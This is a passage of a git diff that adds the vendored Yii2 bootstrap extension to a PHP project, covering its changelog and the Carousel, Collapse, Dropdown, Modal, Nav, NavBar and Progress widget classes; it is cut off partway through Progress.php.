$buttons[] = Button::widget([ + 'label' => $label, + 'options' => $options, + 'encodeLabel' => $this->encodeLabels, + 'view' => $this->getView() + ]); + } else { + $buttons[] = $button; + } + } + + return implode("\n", $buttons); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/CHANGELOG.md b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/CHANGELOG.md new file mode 100644 index 00000000..ee027d30 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/CHANGELOG.md @@ -0,0 +1,51 @@ +Yii Framework 2 bootstrap extension Change Log +============================================== + +2.0.0 October 12, 2014 +---------------------- + +- Bug #5323: Nested dropdown does not work for `yii\bootstrap\DropDown` (aryraditya) +- Bug #5336: `yii\bootstrap\DropDown` should register bootstrap plugin asset (zelenin) +- Chg #5231: Collapse `items` property uses `label` element instead of array key for headers (nkovacs) +- Chg #5232: Collapse encodes headers by default (nkovacs) +- Chg #5217: Tabs no longer requires content since empty tab could be used dynamically (damiandennis) + + +2.0.0-rc September 27, 2014 +--------------------------- + +- Bug #3292: Fixed dropdown widgets rendering incorrect HTML (it3rmit) +- Bug #3740: Fixed duplicate error message when client validation is enabled (tadaszelvys) +- Bug #3749: Fixed invalid plugin registration and ensure clickable links in dropdown (kartik-v) +- Enh #4024: Added ability to `yii\bootstrap\Tabs` to encode each `Tabs::items['label']` separately (creocoder, umneeq) +- Enh #4120: Added ability for each item to choose it's encoding option in `Dropdown` and `Nav` (Alex-Code) +- Enh #4363: Added `showIndicators` property to make Carousel indicators optional (sdkiller) +- Chg #3036: Upgraded Twitter Bootstrap to 3.1.x (qiangxue) +- Chg #4595: The following properties are now taking `false` instead of `null` for "don't use" case (samdark) + - `yii\bootstrap\NavBar::$brandLabel`. + - `yii\bootstrap\NavBar::$brandUrl`. + - `yii\bootstrap\Modal::$closeButton`. + - `yii\bootstrap\Modal::$toggleButton`. + - `yii\bootstrap\Alert::$closeButton`. + +2.0.0-beta April 13, 2014 +------------------------- + +- Bug #2361: `yii\bootstrap\NavBar::brandUrl` should default to the home URL of application (qiangxue) +- Enh #1474: Added option to make NavBar 100% width (cebe) +- Enh #1552: It is now possible to use multiple bootstrap NavBar in a single page (Alex-Code) +- Enh #1553: Only add navbar-default class to NavBar when no other class is specified (cebe) +- Enh #1562: Added `yii\bootstrap\Tabs::linkOptions` (kartik-v) +- Enh #1601: Added support for tagName and encodeLabel parameters in ButtonDropdown (omnilight) +- Enh #1881: Improved `yii\bootstrap\NavBar` with `containerOptions`, `innerContainerOptions` and `renderInnerContainer` (creocoder) +- Enh #2425: Tabs widget now selects first tab if no active tab is specified (samdark) +- Enh #2634: Submenus will now be checked for being active (Alex-Code) +- Enh #2643: Add size attribute to Modal (tof06) +- Chg #1459: Update Collapse to use bootstrap 3 classes (tonydspaniard) +- Chg #1820: Update Progress to use bootstrap 3 markup (samdark) +- New #3029: Added `yii\bootstrap\ActiveForm` and `yii\bootstrap\ActiveField` (mikehaertl) + +2.0.0-alpha, December 1, 2013 +----------------------------- + +- Initial release. diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Carousel.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Carousel.php new file mode 100644 index 00000000..68c3def8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Carousel.php @@ -0,0 +1,180 @@ + [ + * // the item contains only the image + * '', + * // equivalent to the above + * ['content' => ''], + * // the item contains both the image and the caption + * [ + * 'content' => '', + * 'caption' => '

            This is title

            This is the caption text

            ', + * 'options' => [...], + * ], + * ] + * ]); + * ``` + * + * @see http://getbootstrap.com/javascript/#carousel + * @author Antonio Ramirez + * @since 2.0 + */ +class Carousel extends Widget +{ + /** + * @var array|boolean the labels for the previous and the next control buttons. + * If false, it means the previous and the next control buttons should not be displayed. + */ + public $controls = ['‹', '›']; + /** + * @var boolean + * If false carousel indicators (
              tag with anchors to items) should not be displayed. + */ + public $showIndicators = true; + /** + * @var array list of slides in the carousel. Each array element represents a single + * slide with the following structure: + * + * ```php + * [ + * // required, slide content (HTML), such as an image tag + * 'content' => '', + * // optional, the caption (HTML) of the slide + * 'caption' => '

              This is title

              This is the caption text

              ', + * // optional the HTML attributes of the slide container + * 'options' => [], + * ] + * ``` + */ + public $items = []; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + Html::addCssClass($this->options, 'carousel'); + } + + /** + * Renders the widget. + */ + public function run() + { + echo Html::beginTag('div', $this->options) . "\n"; + echo $this->renderIndicators() . "\n"; + echo $this->renderItems() . "\n"; + echo $this->renderControls() . "\n"; + echo Html::endTag('div') . "\n"; + $this->registerPlugin('carousel'); + } + + /** + * Renders carousel indicators. + * @return string the rendering result + */ + public function renderIndicators() + { + if ($this->showIndicators === false) { + return ''; + } + $indicators = []; + for ($i = 0, $count = count($this->items); $i < $count; $i++) { + $options = ['data-target' => '#' . $this->options['id'], 'data-slide-to' => $i]; + if ($i === 0) { + Html::addCssClass($options, 'active'); + } + $indicators[] = Html::tag('li', '', $options); + } + + return Html::tag('ol', implode("\n", $indicators), ['class' => 'carousel-indicators']); + } + + /** + * Renders carousel items as specified on [[items]]. + * @return string the rendering result + */ + public function renderItems() + { + $items = []; + for ($i = 0, $count = count($this->items); $i < $count; $i++) { + $items[] = $this->renderItem($this->items[$i], $i); + } + + return Html::tag('div', implode("\n", $items), ['class' => 'carousel-inner']); + } + + /** + * Renders a single carousel item + * @param string|array $item a single item from [[items]] + * @param integer $index the item index as the first item should be set to `active` + * @return string the rendering result + * @throws InvalidConfigException if the item is invalid + */ + public function renderItem($item, $index) + { + if (is_string($item)) { + $content = $item; + $caption = null; + $options = []; + } elseif (isset($item['content'])) { + $content = $item['content']; + $caption = ArrayHelper::getValue($item, 'caption'); + if ($caption !== null) { + $caption = Html::tag('div', $caption, ['class' => 'carousel-caption']); + } + $options = ArrayHelper::getValue($item, 'options', []); + } else { + throw new InvalidConfigException('The "content" option is required.'); + } + + Html::addCssClass($options, 'item'); + if ($index === 0) { + Html::addCssClass($options, 'active'); + } + + return Html::tag('div', $content . "\n" . $caption, $options); + } + + /** + * Renders previous and next control buttons. + * @throws InvalidConfigException if [[controls]] is invalid. + */ + public function renderControls() + { + if (isset($this->controls[0], $this->controls[1])) { + return Html::a($this->controls[0], '#' . $this->options['id'], [ + 'class' => 'left carousel-control', + 'data-slide' => 'prev', + ]) . "\n" + . Html::a($this->controls[1], '#' . $this->options['id'], [ + 'class' => 'right carousel-control', + 'data-slide' => 'next', + ]); + } elseif ($this->controls === false) { + return ''; + } else { + throw new InvalidConfigException('The "controls" property must be either false or an array of two elements.'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Collapse.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Collapse.php new file mode 100644 index 00000000..a71c23d8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Collapse.php @@ -0,0 +1,148 @@ + [ + * // equivalent to the above + * [ + * 'label' => 'Collapsible Group Item #1', + * 'content' => 'Anim pariatur cliche...', + * // open its content by default + * 'contentOptions' => ['class' => 'in'] + * ], + * // another group item + * [ + * 'label' => 'Collapsible Group Item #1', + * 'content' => 'Anim pariatur cliche...', + * 'contentOptions' => [...], + * 'options' => [...], + * ], + * ] + * ]); + * ``` + * + * @see http://getbootstrap.com/javascript/#collapse + * @author Antonio Ramirez + * @since 2.0 + */ +class Collapse extends Widget +{ + /** + * @var array list of groups in the collapse widget. Each array element represents a single + * group with the following structure: + * + * - label: string, required, the group header label. + * - encode: boolean, optional, whether this label should be HTML-encoded. This param will override + * global `$this->encodeLabels` param. + * - content: string, required, the content (HTML) of the group + * - options: array, optional, the HTML attributes of the group + * - contentOptions: optional, the HTML attributes of the group's content + * + * ``` + */ + public $items = []; + + /** + * @var boolean whether the labels for header items should be HTML-encoded. + */ + public $encodeLabels = true; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + Html::addCssClass($this->options, 'panel-group'); + } + + /** + * Renders the widget. + */ + public function run() + { + echo Html::beginTag('div', $this->options) . "\n"; + echo $this->renderItems() . "\n"; + echo Html::endTag('div') . "\n"; + $this->registerPlugin('collapse'); + } + + /** + * Renders collapsible items as specified on [[items]]. + * @return string the rendering result + */ + public function renderItems() + { + $items = []; + $index = 0; + foreach ($this->items as $item) { + if (!isset($item['label'])) { + throw new InvalidConfigException("The 'label' option is required."); + } + $header = $item['label']; + $options = ArrayHelper::getValue($item, 'options', []); + Html::addCssClass($options, 'panel panel-default'); + $items[] = Html::tag('div', $this->renderItem($header, $item, ++$index), $options); + } + + return implode("\n", $items); + } + + /** + * Renders a single collapsible item group + * @param string $header a label of the item group [[items]] + * @param array $item a single item from [[items]] + * @param integer $index the item index as each item group content must have an id + * @return string the rendering result + * @throws InvalidConfigException + */ + public function renderItem($header, $item, $index) + { + if (isset($item['content'])) { + $id = $this->options['id'] . '-collapse' . $index; + $options = ArrayHelper::getValue($item, 'contentOptions', []); + $options['id'] = $id; + Html::addCssClass($options, 'panel-collapse collapse'); + + $encodeLabel = isset($item['encode']) ? $item['encode'] : $this->encodeLabels; + if ($encodeLabel) { + $header = Html::encode($header); + } + + $headerToggle = Html::a($header, '#' . $id, [ + 'class' => 'collapse-toggle', + 'data-toggle' => 'collapse', + 'data-parent' => '#' . $this->options['id'] + ]) . "\n"; + + $header = Html::tag('h4', $headerToggle, ['class' => 'panel-title']); + + $content = Html::tag('div', $item['content'], ['class' => 'panel-body']) . "\n"; + } else { + throw new InvalidConfigException('The "content" option is required.'); + } + $group = []; + + $group[] = Html::tag('div', $header, ['class' => 'panel-heading']); + $group[] = Html::tag('div', $content, $options); + + return implode("\n", $group); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Dropdown.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Dropdown.php new file mode 100644 index 00000000..a31ca29e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Dropdown.php @@ -0,0 +1,106 @@ + + * @since 2.0 + */ +class Dropdown extends Widget +{ + /** + * @var array list of menu items in the dropdown. Each array element can be either an HTML string, + * or an array representing a single menu with the following structure: + * + * - label: string, required, the label of the item link + * - url: string, optional, the url of the item link. Defaults to "#". + * - visible: boolean, optional, whether this menu item is visible. Defaults to true. + * - linkOptions: array, optional, the HTML attributes of the item link. + * - options: array, optional, the HTML attributes of the item. + * - items: array, optional, the submenu items. The structure is the same as this property. + * Note that Bootstrap doesn't support dropdown submenu. You have to add your own CSS styles to support it. + * + * To insert divider use ``. + */ + public $items = []; + /** + * @var boolean whether the labels for header items should be HTML-encoded. + */ + public $encodeLabels = true; + + /** + * @var array the HTML attributes for the widget container tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + protected $_containerOptions = []; + + /** + * Initializes the widget. + * If you override this method, make sure you call the parent implementation first. + */ + public function init() + { + parent::init(); + Html::addCssClass($this->options, 'dropdown-menu'); + $this->_containerOptions = $this->options; + } + + /** + * Renders the widget. + */ + public function run() + { + echo $this->renderItems($this->items); + BootstrapPluginAsset::register($this->getView()); + } + + /** + * Renders menu items. + * @param array $items the menu items to be rendered + * @return string the rendering result. + * @throws InvalidConfigException if the label option is not specified in one of the items. + */ + protected function renderItems($items) + { + $lines = []; + foreach ($items as $i => $item) { + if (isset($item['visible']) && !$item['visible']) { + unset($items[$i]); + continue; + } + if (is_string($item)) { + $lines[] = $item; + continue; + } + if (!isset($item['label'])) { + throw new InvalidConfigException("The 'label' option is required."); + } + $encodeLabel = isset($item['encode']) ? $item['encode'] : $this->encodeLabels; + $label = $encodeLabel ? Html::encode($item['label']) : $item['label']; + $options = ArrayHelper::getValue($item, 'options', []); + $linkOptions = ArrayHelper::getValue($item, 'linkOptions', []); + $linkOptions['tabindex'] = '-1'; + $content = Html::a($label, ArrayHelper::getValue($item, 'url', '#'), $linkOptions); + if (!empty($item['items'])) { + unset($this->_containerOptions['id']); + $content .= $this->renderItems($item['items']); + Html::addCssClass($options, 'dropdown-submenu'); + } + $lines[] = Html::tag('li', $content, $options); + } + + return Html::tag('ul', implode("\n", $lines), $this->_containerOptions); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Modal.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Modal.php new file mode 100644 index 00000000..59942780 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Modal.php @@ -0,0 +1,237 @@ + '

              Hello world

              ', + * 'toggleButton' => ['label' => 'click me'], + * ]); + * + * echo 'Say hello...'; + * + * Modal::end(); + * ~~~ + * + * @see http://getbootstrap.com/javascript/#modals + * @author Antonio Ramirez + * @author Qiang Xue + * @since 2.0 + */ +class Modal extends Widget +{ + const SIZE_LARGE = "modal-lg"; + const SIZE_SMALL = "modal-sm"; + const SIZE_DEFAULT = ""; + + /** + * @var string the header content in the modal window. + */ + public $header; + /** + * @var string the footer content in the modal window. + */ + public $footer; + /** + * @var string the modal size. Can be [[SIZE_LARGE]] or [[SIZE_SMALL]], or empty for default. + */ + public $size; + /** + * @var array|false the options for rendering the close button tag. + * The close button is displayed in the header of the modal window. Clicking + * on the button will hide the modal window. If this is false, no close button will be rendered. + * + * The following special options are supported: + * + * - tag: string, the tag name of the button. Defaults to 'button'. + * - label: string, the label of the button. Defaults to '×'. + * + * The rest of the options will be rendered as the HTML attributes of the button tag. + * Please refer to the [Modal plugin help](http://getbootstrap.com/javascript/#modals) + * for the supported HTML attributes. + */ + public $closeButton = []; + /** + * @var array the options for rendering the toggle button tag. + * The toggle button is used to toggle the visibility of the modal window. + * If this property is false, no toggle button will be rendered. + * + * The following special options are supported: + * + * - tag: string, the tag name of the button. Defaults to 'button'. + * - label: string, the label of the button. Defaults to 'Show'. + * + * The rest of the options will be rendered as the HTML attributes of the button tag. + * Please refer to the [Modal plugin help](http://getbootstrap.com/javascript/#modals) + * for the supported HTML attributes. + */ + public $toggleButton = false; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + + $this->initOptions(); + + echo $this->renderToggleButton() . "\n"; + echo Html::beginTag('div', $this->options) . "\n"; + echo Html::beginTag('div', ['class' => 'modal-dialog ' . $this->size]) . "\n"; + echo Html::beginTag('div', ['class' => 'modal-content']) . "\n"; + echo $this->renderHeader() . "\n"; + echo $this->renderBodyBegin() . "\n"; + } + + /** + * Renders the widget. + */ + public function run() + { + echo "\n" . $this->renderBodyEnd(); + echo "\n" . $this->renderFooter(); + echo "\n" . Html::endTag('div'); // modal-content + echo "\n" . Html::endTag('div'); // modal-dialog + echo "\n" . Html::endTag('div'); + + $this->registerPlugin('modal'); + } + + /** + * Renders the header HTML markup of the modal + * @return string the rendering result + */ + protected function renderHeader() + { + $button = $this->renderCloseButton(); + if ($button !== null) { + $this->header = $button . "\n" . $this->header; + } + if ($this->header !== null) { + return Html::tag('div', "\n" . $this->header . "\n", ['class' => 'modal-header']); + } else { + return null; + } + } + + /** + * Renders the opening tag of the modal body. + * @return string the rendering result + */ + protected function renderBodyBegin() + { + return Html::beginTag('div', ['class' => 'modal-body']); + } + + /** + * Renders the closing tag of the modal body. + * @return string the rendering result + */ + protected function renderBodyEnd() + { + return Html::endTag('div'); + } + + /** + * Renders the HTML markup for the footer of the modal + * @return string the rendering result + */ + protected function renderFooter() + { + if ($this->footer !== null) { + return Html::tag('div', "\n" . $this->footer . "\n", ['class' => 'modal-footer']); + } else { + return null; + } + } + + /** + * Renders the toggle button. + * @return string the rendering result + */ + protected function renderToggleButton() + { + if ($this->toggleButton !== false) { + $tag = ArrayHelper::remove($this->toggleButton, 'tag', 'button'); + $label = ArrayHelper::remove($this->toggleButton, 'label', 'Show'); + if ($tag === 'button' && !isset($this->toggleButton['type'])) { + $this->toggleButton['type'] = 'button'; + } + + return Html::tag($tag, $label, $this->toggleButton); + } else { + return null; + } + } + + /** + * Renders the close button. + * @return string the rendering result + */ + protected function renderCloseButton() + { + if ($this->closeButton !== false) { + $tag = ArrayHelper::remove($this->closeButton, 'tag', 'button'); + $label = ArrayHelper::remove($this->closeButton, 'label', '×'); + if ($tag === 'button' && !isset($this->closeButton['type'])) { + $this->closeButton['type'] = 'button'; + } + + return Html::tag($tag, $label, $this->closeButton); + } else { + return null; + } + } + + /** + * Initializes the widget options. + * This method sets the default values for various options. + */ + protected function initOptions() + { + $this->options = array_merge([ + 'class' => 'fade', + 'role' => 'dialog', + 'tabindex' => -1, + ], $this->options); + Html::addCssClass($this->options, 'modal'); + + if ($this->clientOptions !== false) { + $this->clientOptions = array_merge(['show' => false], $this->clientOptions); + } + + if ($this->closeButton !== false) { + $this->closeButton = array_merge([ + 'data-dismiss' => 'modal', + 'aria-hidden' => 'true', + 'class' => 'close', + ], $this->closeButton); + } + + if ($this->toggleButton !== false) { + $this->toggleButton = array_merge([ + 'data-toggle' => 'modal', + ], $this->toggleButton); + if (!isset($this->toggleButton['data-target']) && !isset($this->toggleButton['href'])) { + $this->toggleButton['data-target'] = '#' . $this->options['id']; + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Nav.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Nav.php new file mode 100644 index 00000000..29641a97 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Nav.php @@ -0,0 +1,243 @@ + [ + * [ + * 'label' => 'Home', + * 'url' => ['site/index'], + * 'linkOptions' => [...], + * ], + * [ + * 'label' => 'Dropdown', + * 'items' => [ + * ['label' => 'Level 1 - Dropdown A', 'url' => '#'], + * '
            1. ', + * '', + * ['label' => 'Level 1 - Dropdown B', 'url' => '#'], + * ], + * ], + * ], + * ]); + * ``` + * + * Note: Multilevel dropdowns beyond Level 1 are not supported in Bootstrap 3. + * + * @see http://getbootstrap.com/components/#dropdowns + * @see http://getbootstrap.com/components/#nav + * + * @author Antonio Ramirez + * @since 2.0 + */ +class Nav extends Widget +{ + /** + * @var array list of items in the nav widget. Each array element represents a single + * menu item which can be either a string or an array with the following structure: + * + * - label: string, required, the nav item label. + * - url: optional, the item's URL. Defaults to "#". + * - visible: boolean, optional, whether this menu item is visible. Defaults to true. + * - linkOptions: array, optional, the HTML attributes of the item's link. + * - options: array, optional, the HTML attributes of the item container (LI). + * - active: boolean, optional, whether the item should be on active state or not. + * - items: array|string, optional, the configuration array for creating a [[Dropdown]] widget, + * or a string representing the dropdown menu. Note that Bootstrap does not support sub-dropdown menus. + * + * If a menu item is a string, it will be rendered directly without HTML encoding. + */ + public $items = []; + /** + * @var boolean whether the nav items labels should be HTML-encoded. + */ + public $encodeLabels = true; + /** + * @var boolean whether to automatically activate items according to whether their route setting + * matches the currently requested route. + * @see isItemActive + */ + public $activateItems = true; + /** + * @var boolean whether to activate parent menu items when one of the corresponding child menu items is active. + */ + public $activateParents = false; + /** + * @var string the route used to determine if a menu item is active or not. + * If not set, it will use the route of the current request. + * @see params + * @see isItemActive + */ + public $route; + /** + * @var array the parameters used to determine if a menu item is active or not. + * If not set, it will use `$_GET`. + * @see route + * @see isItemActive + */ + public $params; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + if ($this->route === null && Yii::$app->controller !== null) { + $this->route = Yii::$app->controller->getRoute(); + } + if ($this->params === null) { + $this->params = Yii::$app->request->getQueryParams(); + } + Html::addCssClass($this->options, 'nav'); + } + + /** + * Renders the widget. + */ + public function run() + { + echo $this->renderItems(); + BootstrapAsset::register($this->getView()); + } + + /** + * Renders widget items. + */ + public function renderItems() + { + $items = []; + foreach ($this->items as $i => $item) { + if (isset($item['visible']) && !$item['visible']) { + unset($items[$i]); + continue; + } + $items[] = $this->renderItem($item); + } + + return Html::tag('ul', implode("\n", $items), $this->options); + } + + /** + * Renders a widget's item. + * @param string|array $item the item to render. + * @return string the rendering result. + * @throws InvalidConfigException + */ + public function renderItem($item) + { + if (is_string($item)) { + return $item; + } + if (!isset($item['label'])) { + throw new InvalidConfigException("The 'label' option is required."); + } + $encodeLabel = isset($item['encode']) ? $item['encode'] : $this->encodeLabels; + $label = $encodeLabel ? Html::encode($item['label']) : $item['label']; + $options = ArrayHelper::getValue($item, 'options', []); + $items = ArrayHelper::getValue($item, 'items'); + $url = ArrayHelper::getValue($item, 'url', '#'); + $linkOptions = ArrayHelper::getValue($item, 'linkOptions', []); + + if (isset($item['active'])) { + $active = ArrayHelper::remove($item, 'active', false); + } else { + $active = $this->isItemActive($item); + } + + if ($items !== null) { + $linkOptions['data-toggle'] = 'dropdown'; + Html::addCssClass($options, 'dropdown'); + Html::addCssClass($linkOptions, 'dropdown-toggle'); + $label .= ' ' . Html::tag('b', '', ['class' => 'caret']); + if (is_array($items)) { + if ($this->activateItems) { + $items = $this->isChildActive($items, $active); + } + $items = Dropdown::widget([ + 'items' => $items, + 'encodeLabels' => $this->encodeLabels, + 'clientOptions' => false, + 'view' => $this->getView(), + ]); + } + } + + if ($this->activateItems && $active) { + Html::addCssClass($options, 'active'); + } + + return Html::tag('li', Html::a($label, $url, $linkOptions) . $items, $options); + } + + /** + * Check to see if a child item is active optionally activating the parent. + * @param array $items @see items + * @param boolean $active should the parent be active too + * @return array @see items + */ + protected function isChildActive($items, &$active) + { + foreach ($items as $i => $child) { + if (ArrayHelper::remove($items[$i], 'active', false) || $this->isItemActive($child)) { + Html::addCssClass($items[$i]['options'], 'active'); + if ($this->activateParents) { + $active = true; + } + } + } + return $items; + } + + /** + * Checks whether a menu item is active. + * This is done by checking if [[route]] and [[params]] match that specified in the `url` option of the menu item. + * When the `url` option of a menu item is specified in terms of an array, its first element is treated + * as the route for the item and the rest of the elements are the associated parameters. + * Only when its route and parameters match [[route]] and [[params]], respectively, will a menu item + * be considered active. + * @param array $item the menu item to be checked + * @return boolean whether the menu item is active + */ + protected function isItemActive($item) + { + if (isset($item['url']) && is_array($item['url']) && isset($item['url'][0])) { + $route = $item['url'][0]; + if ($route[0] !== '/' && Yii::$app->controller) { + $route = Yii::$app->controller->module->getUniqueId() . '/' . $route; + } + if (ltrim($route, '/') !== $this->route) { + return false; + } + unset($item['url']['#']); + if (count($item['url']) > 1) { + foreach (array_splice($item['url'], 1) as $name => $value) { + if ($value !== null && (!isset($this->params[$name]) || $this->params[$name] != $value)) { + return false; + } + } + } + + return true; + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/NavBar.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/NavBar.php new file mode 100644 index 00000000..93c3cb7c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/NavBar.php @@ -0,0 +1,161 @@ + 'NavBar Test']); + * echo Nav::widget([ + * 'items' => [ + * ['label' => 'Home', 'url' => ['/site/index']], + * ['label' => 'About', 'url' => ['/site/about']], + * ], + * ]); + * NavBar::end(); + * ``` + * + * @see http://getbootstrap.com/components/#navbar + * @author Antonio Ramirez + * @author Alexander Kochetov + * @since 2.0 + */ +class NavBar extends Widget +{ + /** + * @var array the HTML attributes for the widget container tag. The following special options are recognized: + * + * - tag: string, defaults to "nav", the name of the container tag. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var array the HTML attributes for the container tag. The following special options are recognized: + * + * - tag: string, defaults to "div", the name of the container tag. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $containerOptions = []; + /** + * @var string|boolean the text of the brand of false if it's not used. Note that this is not HTML-encoded. + * @see http://getbootstrap.com/components/#navbar + */ + public $brandLabel = false; + /** + * @param array|string|boolean $url the URL for the brand's hyperlink tag. This parameter will be processed by [[Url::to()]] + * and will be used for the "href" attribute of the brand link. Default value is false that means + * [[\yii\web\Application::homeUrl]] will be used. + */ + public $brandUrl = false; + /** + * @var array the HTML attributes of the brand link. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $brandOptions = []; + /** + * @var string text to show for screen readers for the button to toggle the navbar. + */ + public $screenReaderToggleText = 'Toggle navigation'; + /** + * @var boolean whether the navbar content should be included in an inner div container which by default + * adds left and right padding. Set this to false for a 100% width navbar. + */ + public $renderInnerContainer = true; + /** + * @var array the HTML attributes of the inner container. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $innerContainerOptions = []; + + + /** + * Initializes the widget. + */ + public function init() + { + parent::init(); + $this->clientOptions = false; + Html::addCssClass($this->options, 'navbar'); + if ($this->options['class'] === 'navbar') { + Html::addCssClass($this->options, 'navbar-default'); + } + Html::addCssClass($this->brandOptions, 'navbar-brand'); + if (empty($this->options['role'])) { + $this->options['role'] = 'navigation'; + } + $options = $this->options; + $tag = ArrayHelper::remove($options, 'tag', 'nav'); + echo Html::beginTag($tag, $options); + if ($this->renderInnerContainer) { + if (!isset($this->innerContainerOptions['class'])) { + Html::addCssClass($this->innerContainerOptions, 'container'); + } + echo Html::beginTag('div', $this->innerContainerOptions); + } + echo Html::beginTag('div', ['class' => 'navbar-header']); + if (!isset($this->containerOptions['id'])) { + $this->containerOptions['id'] = "{$this->options['id']}-collapse"; + } + echo $this->renderToggleButton(); + if ($this->brandLabel !== false) { + Html::addCssClass($this->brandOptions, 'navbar-brand'); + echo Html::a($this->brandLabel, $this->brandUrl === false ? Yii::$app->homeUrl : $this->brandUrl, $this->brandOptions); + } + echo Html::endTag('div'); + Html::addCssClass($this->containerOptions, 'collapse'); + Html::addCssClass($this->containerOptions, 'navbar-collapse'); + $options = $this->containerOptions; + $tag = ArrayHelper::remove($options, 'tag', 'div'); + echo Html::beginTag($tag, $options); + } + + /** + * Renders the widget. + */ + public function run() + { + $tag = ArrayHelper::remove($this->containerOptions, 'tag', 'div'); + echo Html::endTag($tag); + if ($this->renderInnerContainer) { + echo Html::endTag('div'); + } + $tag = ArrayHelper::remove($this->options, 'tag', 'nav'); + echo Html::endTag($tag, $this->options); + BootstrapPluginAsset::register($this->getView()); + } + + /** + * Renders collapsible toggle button. + * @return string the rendering toggle button. + */ + protected function renderToggleButton() + { + $bar = Html::tag('span', '', ['class' => 'icon-bar']); + $screenReader = "{$this->screenReaderToggleText}"; + + return Html::button("{$screenReader}\n{$bar}\n{$bar}\n{$bar}", [ + 'class' => 'navbar-toggle', + 'data-toggle' => 'collapse', + 'data-target' => "#{$this->containerOptions['id']}", + ]); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Progress.php b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Progress.php new file mode 100644 index 00000000..dbeed974 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-bootstrap/Progress.php @@ -0,0 +1,165 @@ + 60, + * 'label' => 'test', + * ]); + * + * // styled + * echo Progress::widget([ + * 'percent' => 65, + * 'barOptions' => ['class' => 'progress-bar-danger'] + * ]); + * + * // striped + * echo Progress::widget([ + * 'percent' => 70, + * 'barOptions' => ['class' => 'progress-bar-warning'], + * 'options' => ['class' => 'progress-striped'] + * ]); + * + * // striped animated + * echo Progress::widget([ + * 'percent' => 70, + * 'barOptions' => ['class' => 'progress-bar-success'], + * 'options' => ['class' => 'active progress-striped'] + * ]); + * + * // stacked bars + * echo Progress::widget([ + * 'bars' => [ + * ['percent' => 30, 'options' => ['class' => 'progress-bar-danger']], + * ['percent' => 30, 'label' => 'test', 'options' => ['class' => 'progress-bar-success']], + * ['percent' => 35, 'options' => ['class' => 'progress-bar-warning']], + * ] + * ]); + * ``` + * @see http://getbootstrap.com/components/#progress + * @author Antonio Ramirez + * @author Alexander Makarov + * @since 2.0 + */ +class Progress extends Widget +{ + /** + * @var string the button label. + */ + public $label; + /** + * @var integer the amount of progress as a percentage. + */ + public $percent = 0; + /** + * @var array the HTML attributes of the bar. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $barOptions = []; + /** + * @var array a set of bars that are stacked together to form a single progress bar. + * Each bar is an array of the following structure: + * + * ```php + * [ + * // required, the amount of progress as a percentage. + * 'percent' => 30, + * // optional, the label to be displayed on the bar + * 'label' => '30%', + * // optional, array, additional HTML attributes for the bar tag + * 'options' => [], + * ] + * ``` + */ + public $bars; + + + /** + * Initializes the widget. + * If you override this method, make sure you call the parent implementation first. + */ + public function init() + { + parent::init(); + Html::addCssClass($this->options, 'progress'); + } + + /** + * Renders the widget. + */ + public function run() + { + echo Html::beginTag('div', $this->options) . "\n"; + echo $this->renderProgress() . "\n"; + echo Html::endTag('div') . "\n"; + BootstrapAsset::register($this->getView()); + } + + /** + * Renders the progress. + * @return string the rendering result. + * @throws InvalidConfigException if the "percent" option is not set in a stacked progress bar. + */ + protected function renderProgress() + { + if (empty($this->bars)) { + return $this->renderBar($this->percent, $this->label, $this->barOptions); + } + $bars = []; + foreach ($this->bars as $bar) { + $label = ArrayHelper::getValue($bar, 'label', ''); + if (!isset($bar['percent'])) { + throw new InvalidConfigException("The 'percent' option is required."); + } + $options = ArrayHelper::getValue($bar, 'options', []); + $bars[] = $this->renderBar($bar['percent'], $label, $options); + } + + return implode("\n", $bars); + } + + /** + * Generates a bar + * @param integer $percent the percentage of the bar + * @param string $label, optional, the label to display at the bar + * @param array $options the HTML attributes of the bar + * @return string the rendering result. + */ + protected function renderBar($percent, $label = '', $options = []) + { + $defaultOptions = [ + 'role' => 'progressbar', + 'aria-valuenow' => $percent, + 'aria-valuemin' => 0, + 'aria-valuemax' => 100, + 'style' => "width:{$percent}%", + ]; + $options = array_merge($defaultOptions, $options); + Html::addCssClass($options, 'progress-bar'); + + $out = Html::beginTag('div', $options); + $out .= $label; + $out .= Html::tag('span', \Yii::t('yii', '{percent}% Complete', ['percent' => 